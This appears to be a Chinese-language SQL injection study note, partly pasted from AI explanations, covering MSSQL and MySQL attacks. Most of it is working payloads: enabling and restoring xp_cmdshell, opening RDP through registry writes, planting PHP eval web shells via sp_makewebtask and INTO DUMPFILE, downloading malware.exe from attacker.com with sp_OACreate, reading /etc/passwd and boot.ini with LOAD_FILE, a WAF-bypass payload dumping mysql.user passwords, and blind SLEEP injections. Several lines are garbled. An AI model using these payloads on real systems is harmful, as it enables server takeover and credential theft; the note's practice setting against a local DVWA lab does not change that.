注入点基本检查
在进行MSSQL注如公鸡时,首先要对MSSQL注如点进行以下基本的注入检查,以确定后面的公鸡实施方案。
判断数据库类型(在数据库内创建的每个对象在sysobjects系统表中都占有一行)
and exists (select * from sysobjects)
数据库帐号权限判断
and 1=(selectIS_SRVROLEMEMBER('sysadmin'))//判断是否是系统管理员
and 1=(selectIS SRVROLEMEMBER('db owner'))//判断是否是库权限
and 1=(selectIS SRVROLEMEMBER('public”))//判断是否为public权限
mssql注如点的基本检查
利用MSSQL扩展存储注入公鸡
检查与恢复扩展存储
sa权限下扩展存储公鸡利用方法
xp_cmdshell扩展执行任意命令
xp_regwrite操作注册表与开启沙盒模式
利用sp makewebtash写入一句话木马
DBowner权限下的扩展公鸡利用
在Microsoft SQL Server中,扩展存储过程(Extended Stored Procedures)是一组允许SQL Server执行外部程序的函数。这些扩展存储过程可以执行各种任务,包括文件系统操作、网络通信和注册表访问。然而,这些功能也可能被恶意用户滥用,进行注入公鸡或其他形式的公鸡。
检查与恢复扩展存储
在检查扩展存储过程之前,首先需要确认是否有必要启用或禁用它们。默认情况下,一些危险的扩展存储过程是被禁用的,比如xp_cmdshell
。如果你需要使用这些扩展存储过程,可以通过以下步骤启用它们:
- 使用具有足够权限的账户(如
sa
)登录到SQL Server。 - 执行以下命令启用
xp_cmdshell
:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
如果要禁用它们,只需将上述命令中的1
改为0
。
sa权限下扩展存储公鸡利用方法
拥有sa
权限的用户具有对SQL Server的完全控制权,这意味着他们可以执行任何扩展存储过程,包括那些可以执行系统命令的过程。
xp_cmdshell扩展执行任意命令
xp_cmdshell
是一个强大的扩展存储过程,它允许用户在SQL Server的上下文中执行操作系统命令。如果公鸡者获得了sa
权限,他们可以使用xp_cmdshell
执行任意命令,例如:
EXEC xp_cmdshell 'dir C:\';
xp_regwrite操作注册表与开启沙盒模式
xp_regwrite
是一个可以用来修改Windows注册表的扩展存储过程。公鸡者可以使用它来更改注册表设置,甚至可能开启沙盒模式(如果系统支持的话)。例如:
EXEC xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode', REG_DWORD, 1;
利用sp_makewebtask写入一句话木马
sp_makewebtask
是一个旧的扩展存储过程,它可以生成Web页面。虽然这个过程在新版本的SQL Server中已经被弃用,但在某些旧系统中仍然可用。公鸡者可能会尝试使用它来创建一个包含恶意代吗的Web页面,例如一句话木马。
DBowner权限下的扩展公鸡利用
即使没有sa
权限,拥有DBowner
权限的用户也可以执行一些危险的操作。例如,他们可以使用xp_cmdshell
(如果启用了的话),或者尝试提升自己的权限。然而,DBowner
权限通常受到更多的限制,因此公鸡面相对较小。
MSSOL注入猜解数据库技术
Having与group by查询爆表名与字段名orderby与数据库类型转换报错法查询爆库的另一种方法
union select查询注入技术
窃取哈希口令
Having与Group By查询爆表名与字段名
公鸡者可能会使用HAVING
和GROUP BY
子句来触发错误消息,从而获取表名和字段名。例如:
SELECT 1 FROM information_schema.tables GROUP BY table_name HAVING table_name LIKE '%table_name%'
在这个例子中,公鸡者试图通过模糊匹配来找到特定的表名。
Order By与数据库类型转换报错法
公鸡者可能会使用ORDER BY
子句结合类型转换错误来获取字段数量或字段名。例如:
SELECT column_name FROM table_name ORDER BY 1;
如果公鸡者不断增加ORDER BY
后面的数字,直到查询失败,就可以确定表中的字段数量。此外,公鸡者还可以尝试类型转换,如将字符串字段强制转换为整数,以触发错误消息并获取字段名。
Union Select查询注入技术
UNION SELECT
是SQL注如中常用的一种技术,公鸡者可以使用它来合并恶意查询的结果与原始查询的结果。例如:
SELECT column_name FROM table_name WHERE id = 1 UNION SELECT column_name FROM another_table
在这个例子中,公鸡者试图从另一个表中选择数据,并将其与原始查询的结果合并。
窃取哈希口令
如果应用程序存储了用户的密码哈希,公鸡者可能会尝试通过SQL注如来获取这些哈希值。一旦获得哈希值,公鸡者可能会尝试破姐它们以获取明文密码。例如:
SELECT password_hash FROM users WHERE username = 'attacker_supplied_username'
MSSQL注如点的基本检查
and @@version>0 //数据库版本信息
;declare @d int //判断是否支持堆叠查询(多行语句;连接一起执行)
and (select count(1) from [sysobjects])>=0 //是否支持子查询
and user>0 //获取当前数据库用户名
and 1=convert(int,db_name())或1=(select db_name()) //当前数据库名
and 1=(select @@servername) //本地服务器名
and 1=(select HAS DBACCESS('master')) //判断是否有当前库的读取权限
在渗投测试或安全评估中,检查MSSQL注如点是识别潜在安全漏东的重要步骤。以下是一些基本的MSSQL注如检查命令,用于收集有关数据库环境的信息:
- 获取数据库版本信息:
and @@version > 0
这个命令会返回SQL Server的版本信息。如果返回了版本信息,说明可能存在注入点。
- 判断是否支持堆叠查询:
;declare @d int
堆叠查询意味着可以在单个请求中执行多个SQL语句。如果这个命令被执行并且没有引发错误,那么数据库支持堆叠查询。
- 检查是否支持子查询:
and (select count(1) from sysobjects) >= 0
这个命令尝试执行一个子查询来统计sysobjects
表中的记录数。如果返回结果,说明支持子查询。
- 获取当前数据库用户名:
and user > 0
这个命令会返回当前数据库用户的名称。如果返回了用户名,说明可能存在注入点。
- 获取当前数据库名:
and 1=convert(int, db_name())
or 1=(select db_name())
这两个命令都会尝试获取当前数据库的名称。如果返回了数据库名,说明可能存在注入点。
- 获取本地服务器名:
and 1=(select @@servername)
这个命令会返回运行SQL Server实例的服务器名称。如果返回了服务器名,说明可能存在注入点。
- 判断是否有当前库的读取权限:
and 1=(select HAS_DBACCESS('master'))
这个命令会检查当前用户是否有对master
数据库的访问权限。如果返回了权限信息,说明可能存在注入点。
利用MSSOL扩展存储过程注入公鸡
扩展存储过程是MSSOL提供的特殊功能。所谓”扩展存储过程”,其实就是一个普通的windows系统DLL文件,按照某种规则实现了某些函数功能。MSSOL利用扩展存储可以实现许多强大的功能,包括对系统进行操作
检查是否启用xp_cmdshell
select count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell
检查xp_regread扩展存储
select count(*)FROM master.dbo.sysobjects where name= 'xp_regread
在Microsoft SQL Server中,扩展存储过程(Extended Stored Procedures)确实提供了一种机制,允许SQL Server执行外部程序,包括Windows DLL中的函数。这些扩展存储过程可以执行各种任务,包括文件系统操作、网络通信和注册表访问。然而,这些功能也可能被恶意用户滥用,进行注入公鸡或其他形式的公鸡。
检查是否启用xp_cmdshell
xp_cmdshell
是一个非常强大的扩展存储过程,它允许用户在SQL Server的上下文中执行操作系统命令。由于其潜在的危险性,默认情况下,xp_cmdshell
在新版本的SQL Server中是被禁用的。要检查xp_cmdshell
是否启用,可以使用以下查询:
SELECT COUNT(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell'
如果返回的结果大于0,则表示xp_cmdshell
存在于系统中。但是,仅仅存在并不意味着它是启用的。要检查它是否启用,还需要查看它的配置状态:
SELECT is_srvrolemember('sysadmin') -- 检查是否为sysadmin角色成员
EXEC sp_configure 'xp_cmdshell' -- 检查xp_cmdshell的配置状态
检查xp_regread扩展存储
xp_regread
是一个可以用来读取Windows注册表的扩展存储过程。要检查xp_regread
是否存在,可以使用以下查询:
SELECT COUNT(*) FROM master.dbo.sysobjects WHERE name = 'xp_regread'
如果返回的结果大于0,则表示xp_regread
存在于系统中。
恢复扩展存储
exec master..sp_dropextendedproc 'xp_cmdshell'
exec master..sp_addextendedproc xp_cmdshell,'xplog70.dl!'
该语句利用系统中默认的“xplog70.dl”,自动恢复xp_cmdshell
如果xplog70.dll被删除或改名,可以自定义路径进行恢复exec master..sp addextendedproc'xp cmdshell','c:\xplog70.dll'
在Microsoft SQL Server中,xp_cmdshell
是一个强大的扩展存储过程,它允许用户在SQL Server的上下文中执行操作系统命令。出于安全考虑,通常建议禁用此功能,特别是在不需要它的情况下。然而,如果你确实需要使用xp_cmdshell
,你可能需要重新添加它,尤其是在它已经被删除或禁用的情况下。
以下是如何恢复xp_cmdshell
的步骤:
- 检查
xp_cmdshell
的状态:首先,你需要检查xp_cmdshell
是否已经被删除或禁用。你可以通过执行以下查询来检查:
SELECT * FROM master.dbo.sysobjects WHERE name = 'xp_cmdshell'
如果返回结果为空,则表示xp_cmdshell
不存在。
- 恢复
xp_cmdshell
:如果xp_cmdshell
不存在,你可以使用sp_addextendedproc
系统存储过程来重新添加它。默认情况下,xp_cmdshell
依赖于xplog70.dll
。以下是恢复xp_cmdshell
的示例:
EXEC master..sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
如果xplog70.dll
文件已经被删除或移动,你需要指定正确的路径。例如:
EXEC master..sp_addextendedproc 'xp_cmdshell', 'C:\path\to\xplog70.dll'
请确保指定的路径是正确的,并且你有权访问该文件。
- 配置SQL Server以允许
xp_cmdshell
:即使你已经重新添加了xp_cmdshell
,你还需要配置SQL Server以允许使用它。这可以通过执行以下命令来完成:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
这些命令首先启用高级选项,然后启用xp_cmdshell
。
- 检查
xp_cmdshell
是否已成功恢复:最后,你应该再次检查xp_cmdshell
是否已经成功恢复。你可以通过尝试执行一个简单的xp_cmdshell
命令来检查:
EXEC xp_cmdshell 'dir'
如果xp_cmdshell
已经成功恢复,这个命令将列出当前目录的内容。
sa权限下扩展存储公鸡利用方法
执行任意命令
exec master..xp_cmdshell 'dir c:
开启3389
xp_regwrite操作注册表与开启沙盒模式
利用sp_makewebtask写入一句话木马
sp_oacreate远程文件下载
在拥有sa
权限的情况下,公鸡者可以利用SQL Server的扩展存储过程执行多种公鸡,包括但不限于执行任意命令、修改注册表、创建Web任务以及利用OLE Automation Procedures进行文件操作等。以下是这些公鸡方法的概述:
执行任意命令
使用xp_cmdshell
扩展存储过程,公鸡者可以在SQL Server的上下文中执行任意操作系统命令。例如,列出C盘根目录下的文件和文件夹:
EXEC master..xp_cmdshell 'dir c:'
开启3389端口(远程桌面服务)
公鸡者可以通过修改注册表来开启或关闭目标系统的远程桌面服务(RDP),从而打开3389端口。这通常涉及到使用xp_regwrite
扩展存储过程:
EXEC xp_regwrite 'HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Control\Terminal Server', 'fDenyTSConnections', REG_DWORD, 0
操作注册表与开启沙盒模式
除了上述的xp_regwrite
,还有其他几个与注册表相关的扩展存储过程,如xp_regdeletevalue
、xp_regdeletekey
、xp_regread
等,可以用来读取、写入或删除注册表项。
利用sp_makewebtask
写入一句话木马
sp_makewebtask
是一个旧的扩展存储过程,它可以生成并执行一个Web任务,用于将查询结果输出到一个HTML文件。公鸡者可以利用这一点来写入包含恶意代吗的文件,例如一句话木马:
DECLARE @output varchar(8000)
SET @output = 'C:\inetpub\wwwroot\evil.php'
EXEC sp_makewebtask @output, 'SELECT ''<?php eval($_POST[cmd]);?>'''
请注意,sp_makewebtask
在较新版本的SQL Server中已被弃用。
利用sp_oacreate
远程文件下载
sp_oacreate
和相关的sp_oamethod
可以用来创建OLE对象并调用其方法。公鸡者可以利用这一点来执行复杂的操作,例如下载文件:
DECLARE @obj int, @file varchar(255), @URL varchar(255)
EXEC sp_OACreate 'WinHttp.WinHttpRequest.5.1', @obj OUT
EXEC sp_OAMethod @obj, 'Open', NULL, 'GET', 'http://attacker.com/malware.exe', FALSE
EXEC sp_OAMethod @obj, 'Send'
EXEC sp_OAMethod @obj, 'ResponseText', @file OUTPUT
EXEC sp_OAMethod @obj, 'SaveAs', NULL, 'C:\path\to\save\malware.exe'
EXEC sp_OADestroy @obj
如果权限足够,利用MSSOL数据库的特性,是可以很轻易的入侵控制网站服务器的。但是很多时候注入点不一定能够执行存储过程,或者连接数据库的用户权限不够,那么就得猜解管理员表的字段、内容,进入后台想办法拿webshell
Having与group by查询爆表名与字段名
Group by字段名1 having 1=1
order by 与数据库类型转换报错法
爆当前数据库名
and db name()=0-
爆所有数据库名
and db name(n)>0-
还可以利用orderby报错法继续进行公鸡,爆表名、字段名、字段内容
基于错误的SQL注如技术
爆当前数据库名
公鸡者可能会尝试使用以下类型的查询来获取当前数据库的名称:
and db_name()=0--
这里的db_name()
是一个SQL Server函数,返回当前数据库的名称。如果数据库名称不等于0,那么这个条件将为真,否则为假。公鸡者可以通过观察应用程序的响应来判断条件是否为真。
爆所有数据库名
为了获取服务器上所有数据库的名称,公鸡者可能会尝试以下查询:
and db_name(n)>0--
这里的n
是一个数字,代表数据库的ID。公鸡者会逐个尝试不同的n
值,直到找到有效的数据库名称。
利用ORDER BY
报错法
ORDER BY
子句用于对结果集进行排序。如果公鸡者在ORDER BY
子句中使用了不存在的列名,数据库可能会抛出一个错误,指出无效的列名。公鸡者可以利用这个错误来推断表结构。例如:
ORDER BY column_that_does_not_exist--
如果column_that_does_not_exist
实际上是一个不存在的列名,数据库将返回一个错误,其中可能包含有关表结构的线索。
利用GROUP BY
和HAVING
报错法
类似地,公鸡者也可以尝试使用GROUP BY
和HAVING
子句来触发错误。例如:
GROUP BY column_that_does_not_exist HAVING 1=1--
如果column_that_does_not_exist
不存在,这将导致一个错误,公鸡者可以从错误消息中提取信息。
利用order by获取当前表的字段数
通过对MySQL的数据进行猜解获取敏感的信息,来进一步通过网站的各种功能获取控制权。
通过load file()函数来读取脚本代码或系统敏感文件内容,进行漏东分析或直接获取数据库连接账号、密码。
通过dumpfile/outfile函数导出获取webshell
使用union select联合查询来获取想要的数据库信息,包括数据库连接、数据库版本等
利用ORDER BY
获取当前表的字段数
公鸡者可以使用ORDER BY
子句来猜测表中的字段数量。通过逐个增加ORDER BY
后面的字段索引,直到查询失败,公鸡者可以确定表中的字段数。例如:
ORDER BY 1--
ORDER BY 2--
...
ORDER BY n-- (直到出现错误)
当查询因为ORDER BY
指定的字段不存在而失败时,前一个成功的ORDER BY
子句所使用的数字就是表中的字段数。
使用LOAD_FILE()
函数读取敏感文件
LOAD_FILE()
是MySQL的一个函数,用于读取文件内容并将其作为字符串返回。公鸡者可以利用这个函数来读取服务器上的敏感文件,如配置文件、脚本代码等。例如:
SELECT LOAD_FILE('/etc/passwd')--
为了使用LOAD_FILE()
,公鸡者需要知道文件的完整路径,并且当前用户需要有足够的权限来读取该文件。
使用DUMPFILE
/OUTFILE
导出Webshell
公鸡者可以使用DUMPFILE
或OUTFILE
语句将恶意代吗写入服务器上的文件,从而创建一个Webshell。例如:
SELECT '<?php eval($_POST[cmd]);?>' INTO DUMPFILE '/var/www/html/shell.php'
这将在服务器的Web目录下创建一个名为shell.php
的文件,其中包含一个PHP后们。一旦上传,公鸡者就可以通过HTTP请求与这个后们交互,从而控制服务器。
使用UNION SELECT
联合查询获取数据库信息
UNION SELECT
是一种常见的SQL注如技术,用于从数据库中提取信息。公鸡者可以构造一个包含UNION SELECT
的查询,以获取数据库的元数据、用户凭据等信息。例如:
SELECT column_from_original_query UNION SELECT username, password FROM users--
在这个例子中,公鸡者试图从users
表中获取username
和password
字段的值。
使用SQLmap 练习
用SQLmap跑这种注入的时候
可以用SQLmap去跑的
这是注入点的位置和url
显示点的位置在另一个url里
可以在命令里修改一下,改成这样的格式
sqlmap -u "http://127.0.0.1:8081/dvwa/vulnerabilities/sqli/session-input.php#" --data="id=1&Submit" --cookie="security=high;PHPSESSID=d1m630g590v2if65n6vduitu3f" --second-url="http://127.0.0.1:8081/dvwa/vulnerabilities/sqli" --dbs
sqlmap -u "http://127.0.0.1:8081/dvwa/vulnerabilities/sqli/session-input.php#"
:这部分指定使用sqlmap
工具,并通过-u
选项提供了一个URL,该URL指向一个可能存在SQL注如漏动的页面。--data="id=1&Submit"
:这个选项告诉sqlmap
要发送的数据(POST请求中的数据)。在这个例子中,数据是id=1
和Submit
,这表明公鸡者正在尝试注入的参数是id
。--cookie="security=high;PHPSESSID=d1m630g590v2if65n6vduitu3f"
:这个选项设置了HTTP请求中的Cookie头。在这个例子中,有两个Cookie值:security=high
和PHPSESSID=d1m630g590v2if65n6vduitu3f
。这可能是为了模拟一个已登录的用户会话。--second-url="http://127.0.0.1:8081/dvwa/vulnerabilities/sqli"
:这个选项可能是用来指定一个备用URL,以便在某些情况下(例如,当主URL的响应不包含数据库错误信息时)进行额外的测试。不过,这个选项的使用并不常见,可能是误用了--second-request
选项,后者用于在盲注情况下发送第二个请求以获取更多信息。--dbs
:这个选项告诉sqlmap
要枚举目标服务器上的所有数据库。sqlmap
将尝试找出所有可用的数据库名称。
综上所述,这个sqlmap
命令的目的是对指定的URL执行SQL注如测试,尝试通过POST参数id
进行注入,同时模拟一个带有特定Cookie的HTTP请求。如果发现注入点,sqlmap
将进一步枚举目标服务器上的所有数据库。
第一个url位置放的是注入点
用bp抓包,将输入上传到内容和cookie复制出来,填到SQLmap里
--data 填入上传字段数据 --second 回显url
单行注释,#后面直接加内容
多行注释,/**/中间可以跨行
单行注释,--后面必须要加空格
多行注释,/**/中间可以跨行
内联注释是MySQL数据库为了保持与其他数据库兼容,特意新添加的功能。为了避免从MySQL中导出的SQL语句不能被其他数据库使用,它把一些MySQL特有的语句放在 /!…"/中,这些语句在不兼容的数据库中使用时便不会执行。而MySQL自身却能识别、执行。
/*50001*/表示数据库版本>=5.00.01时中间的语句才会执行。
在SQL注如中,内联注释常用来绕过waf。
在MySQL中,内联注释是一种特殊的注释形式,它允许开发者在SQL语句中嵌入特定版本的代码,这些代码只有在运行该SQL语句的数据库版本符合指定的条件时才会被执行。这种注释的形式如下:
/*! MySQL-specific code */
在这个格式中,!
后面的数字表示只有当MySQL的版本号大于或等于这个数字时,注释中的代码才会被执行。例如:
/*!50001 SQL_NO_CACHE */ SELECT * FROM table;
在这个例子中,SQL_NO_CACHE
指令只有在MySQL版本为5.0.01或更高时才会生效。如果是在低于这个版本的MySQL服务器上运行,这条指令会被当作普通注释处理,不会影响查询的执行。
这种内联注释功能最初是为了保持与旧版本MySQL的兼容性,同时也为了使得从MySQL导出的SQL脚本能够在其他数据库系统上运行,即使那些系统不支持MySQL特定的语法。
在SQL注如公鸡中,公鸡者可能会利用内联注释来绕过Web应用防火墙(WAF)或其他安全机制。因为内联注释对于非MySQL数据库来说是不执行的,所以WAF可能不会将注释中的恶意代吗识别为威胁。公鸡者可以通过精心构造的内联注释来隐藏他们的恶意SQL代吗,从而绕过WAF的检测。
例如,公鸡者可能会构造如下形式的SQL注如尝试:
' OR 1=1 /*! UNION ALL SELECT NULL, NULL, CONCAT(user,0x3a,password) FROM mysql.user -- */'
在这个例子中,UNION ALL SELECT
语句被包含在内联注释中,如果目标数据库不是MySQL或者版本低于注释中指定的版本,那么这段代码就不会被执行,从而可能绕过WAF的检测。然而,如果目标数据库是MySQL且版本符合条件,那么这段代码就会执行,可能导致敏感数据泄露。
因此,了解内联注释的工作原理对于编写安全的SQL代码和防御SQL注如公鸡都是非常重要的。开发者应该确保他们的应用程序对输入进行适当的验证和转义,以防止SQL注如公鸡,同时WAF和其他安全工具也应该更新规则来识别和阻止利用内联注释的公鸡。
限制 limit
在手工SQL注如测试中,LIMIT
子句可以用来帮助公鸡者逐步提取数据库中的信息,尤其是在应用程序使用了基于LIMIT
的分页机制时。以下是一些LIMIT
在手工SQL注如测试中的用法及示例:
1. 分页查询中的数据提取
如果应用程序使用LIMIT
进行分页查询,公鸡者可以通过修改LIMIT
子句中的偏移量和行数来获取不同的数据页。例如,假设原始查询是这样的:
SELECT * FROM users WHERE id = $id LIMIT 10 OFFSET 0;
公鸡者可以通过注入改变OFFSET
值来获取下一页的数据:
1' UNION SELECT * FROM users WHERE id != $id LIMIT 10 OFFSET 10-- -
2. 逐步提取数据
在某些情况下,公鸡者可能需要逐步提取大量数据,以避免触发应用程序的异常或限制。使用LIMIT
可以实现这一点:
1' UNION SELECT column_name FROM table_name LIMIT 1 OFFSET 0-- -
然后逐步增加OFFSET
值来获取更多数据:
1' UNION SELECT column_name FROM table_name LIMIT 1 OFFSET 1-- -
1' UNION SELECT column_name FROM table_name LIMIT 1 OFFSET 2-- -
...
3. 绕过限制
有时候,应用程序会对查询结果的数量进行限制,以防止大量数据的泄露。公鸡者可以使用LIMIT
来绕过这种限制:
1' UNION SELECT column_name FROM table_name LIMIT 1000000 OFFSET 0-- -
4. 结合其他技术
LIMIT
也可以与其他SQL注如技术结合使用,例如布尔盲注或时间延迟注入,以提高数据提取的效率:
1' AND (SELECT COUNT(*) FROM information_schema.tables LIMIT 1) = 1-- -
或者使用时间延迟:
1' AND IF((SELECT COUNT(*) FROM information_schema.tables LIMIT 1) = 1, SLEEP(5), 0)-- -
注意事项
- 在使用
LIMIT
进行SQL注如测试时,公鸡者需要注意不要触发应用程序的安全机制,如登录失败次数限制、请求频率限制等。 - 公鸡者应该遵循道德准则和法律法规,仅在授权的情况下进行渗投测试,不得非法获取或滥用数据。
- 开发者应该采取措施防止SQL注如,包括使用参数化查询或预编译语句,以及对用户输入进行严格的验证和转义。
请注意,上述内容仅供学习和理解SQL注如测试的技术细节,实际操作时应严格遵守相关法律法规和道德标准。未经授权的渗投测试是非法的。
这种情况下更多的是在盲注的情况下,使用这个参数
注入点信息检查
利用orderby查询检查字段数目,提交如下语句:
order by 10//返回错误
order by 5//返回错误
order by 4//返回正确
证明该注入点处查询字段数量为4。使用unionselect查询数据库的版本信息,以及连接的用户名和数据库名等,提交如下链接:
and 1=2 union select 1,2,3,4
load file获取敏感信息
and 1=2 union select 1,load file('c:lboot.ini').3.4
and 1=2 union select 1,load file(0x633A5C626F6F742E696E69),3,4
在MySQL中,LOAD_FILE()
函数用于读取文件的内容并将其作为字符串返回。这个函数在SQL注如公鸡中可以被用来读取服务器上的敏感文件,如果公鸡者能够找到一个合适的注入点并且满足以下条件:
- 当前用户具有足够的权限来读取文件系统中的文件。
- 文件的路径是已知的或者是可猜测的。
- 文件的大小不超过
max_allowed_packet
设置的值。
以下是一个使用LOAD_FILE()
函数进行SQL注如的示例:
and 1=2 union select 1,load_file('c:/boot.ini'),3,4
在这个示例中,公鸡者试图读取Windows系统中的boot.ini
文件。1=2
是一个恒假的条件,用于构造一个永远不会返回结果的查询,而union select
则用于合并正常查询和恶意查询的结果。公鸡者指定了四个选择项(1, load_file('c:/boot.ini')
, 3, 4),其中第二个选择项是LOAD_FILE()
函数,用于读取文件内容。
另一个示例使用了十六进制编码的文件路径:
and 1=2 union select 1,load_file(0x633A5C626F6F742E696E69),3,4
这里,0x633A5C626F6F742E696E69
是c:\boot.ini
的十六进制编码。使用十六进制编码可以绕过某些输入过滤器,这些过滤器可能不允许直接输入文件路径。
需要注意的是,LOAD_FILE()
函数的使用受到很多限制,包括文件必须位于服务器主机上,文件必须是可读的,并且文件的路径必须完全指定(即相对路径不起作用)。此外,如果服务器的配置不当,比如没有正确设置secure_file_priv
选项,也可能导致LOAD_FILE()
函数无法使用。
数据库允许导入导出(secure_file_priv)
当前用户用户文件操作权限(File_priv)
在MySQL中,secure_file_priv
参数和File_priv
权限都与文件操作有关,但它们的作用和设置方式有所不同。
secure_file_priv 参数
secure_file_priv
参数是一个全局变量,用于控制LOAD DATA INFILE
和SELECT ... INTO OUTFILE
语句的行为。这个参数的设置可以防止潜在的安全风险,因为它限制了数据导入和导出操作的文件路径。
- 空值(NULL): 禁止所有
LOAD DATA INFILE
和SELECT ... INTO OUTFILE
操作。 - 非空值: 允许
LOAD DATA INFILE
和SELECT ... INTO OUTFILE
操作,但文件必须位于指定的目录中。
例如:
SET GLOBAL secure_file_priv = '/path/to/allowed/directory/';
这将允许在指定目录及其子目录中进行文件导入和导出操作。
File_priv 权限
File_priv
权限是一个用户级别的权限,决定了用户是否有权执行文件操作相关的语句,如LOAD DATA INFILE
和SELECT ... INTO OUTFILE
。
- 授予
File_priv
权限:
GRANT FILE ON *.* TO 'username'@'host';
- 撤销
File_priv
权限:
REVOKE FILE ON *.* FROM 'username'@'host';
结合使用
为了确保安全,通常建议将secure_file_priv
设置为一个受限的目录,并且只授予可信用户File_priv
权限。这样可以防止未经授权的文件操作,同时允许必要的数据导入和导出。
示例
假设我们有一个用户import_user
,我们希望他能够从一个特定目录导入数据,但不允许其他潜在危险的操作。
- 设置
secure_file_priv
参数:
SET GLOBAL secure_file_priv = '/path/to/allowed/directory/';
- 授予
import_user
文件操作权限:
GRANT FILE ON *.* TO 'import_user'@'localhost';
这样,import_user
就可以在指定目录中使用LOAD DATA INFILE
和SELECT ... INTO OUTFILE
语句,但其他用户和不受信任的用户将无法执行这些操作。
爆字段
sql盲注
寻找SQL盲注
网站通常使用错误页面来替换数据库错误,从而推断SQL注如是否可行。
使用时间延迟技术来确认公鸡者的SOL是否已执行,有时也可以执行能够观察到输出结果的操作系统命令。
基于时间延迟
使用延迟数据库查询,每种数据库都有自己的引入延迟的技巧。
MySOL延迟
根据版本的不同,MVSOL提供了两种方法来向查询中引入延迟。可以使用SLEEP()函数将查询暂停固定的秒数(必要时可以是微妙)。
or和union都是都为真才输出结果吗
不是的,OR
和UNION
在SQL中有不同的逻辑和用途。
OR 运算符
OR
是一个逻辑运算符,用于组合条件语句。当使用OR
连接两个条件时,只要其中一个条件为真(TRUE),整个表达式的结果就为真。换句话说,OR
运算符表示的是“或”的关系,即至少一个条件满足即可。
例如:
SELECT * FROM users WHERE age > 30 OR country = 'USA';
在这个查询中,如果用户的年龄大于30岁或者用户的国家是美国,那么该用户的信息就会被包含在查询结果中。
UNION 运算符
UNION
是一个集合运算符,用于合并两个或多个SELECT
语句的结果集。UNION
要求两个查询的列数必须相同,对应列的数据类型也必须兼容。UNION
会自动去除重复的行,如果想要保留所有的行,包括重复的行,可以使用UNION ALL
。
例如:
SELECT column1 FROM table1
UNION
SELECT column1 FROM table2;
在这个例子中,UNION
会将table1
和table2
中column1
的所有唯一值合并成一个结果集。
总结来说,OR
是一个逻辑运算符,用于条件判断,只要有一个条件为真,整个表达式就为真;而UNION
是一个集合运算符,用于合并查询结果,它并不关心每个单独查询的条件是否为真,只关心最终结果集的合并。
substr(bin(ascii(substr(database(),1,1)))
这段代码是一系列函数的嵌套调用,主要用于在SQL注如公鸡中获取数据库名称的第一个字符的ASCII值,并将该值转换为二进制字符串。下面是对这段代码的逐个解释:
SUBSTR(string, start, length)
:这是一个字符串截取函数,用于从给定的字符串中截取一部分。在这个例子中,string
参数是database()
,start
参数是1,length
参数是1。这意味着它会截取数据库名称的第一个字符。ASCII(char)
:这是一个字符转换函数,用于获取给定字符的ASCII值。在这个例子中,char
参数是SUBSTR(database(),1,1)
的结果,即数据库名称的第一个字符。这个函数会返回该字符的ASCII值。BIN(number)
:这是一个数值转换函数,用于将给定的十进制数转换为二进制字符串。在这个例子中,number
参数是ASCII(SUBSTR(database(),1,1))
的结果,即数据库名称第一个字符的ASCII值。这个函数会返回该值对应的二进制字符串。
综合起来,这段代码的效果是获取当前数据库名称的第一个字符,然后将该字符的ASCII值转换为二进制字符串。这在SQL注如公鸡中可能用于逐步提取数据库信息,因为公鸡者可以通过这种方式获取数据库名称的每个字符,从而得知完整的数据库名称。